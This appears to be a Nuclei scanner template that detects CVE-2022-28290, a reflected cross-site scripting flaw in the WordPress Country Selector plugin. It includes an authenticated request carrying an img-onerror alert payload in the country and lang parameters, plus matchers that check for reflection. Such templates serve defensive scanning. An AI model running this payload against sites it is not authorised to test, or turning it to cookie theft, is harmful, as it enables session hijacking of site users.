id: CVE-2022-28290

info:
  name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
    - https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28290
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28290
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.37623
    cpe: cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: welaunch
    product: wordpress_country_selector
    framework: wordpress
  tags: cve,cve2022,wordpress-country-selector,wpscan,wp,wordpress,wp-plugin,xss,welaunch

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'country_selector_'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100997e0567579421f275b2bfb0225ec09c1c4e0d097167642f1ea94d5f7ace49ba022100bd00b0994e5b3c05e4febb59ef7bd58154fdbb27779dd815aaafad0d3e1f335a:922c64590222798bb761d5b6d8e72950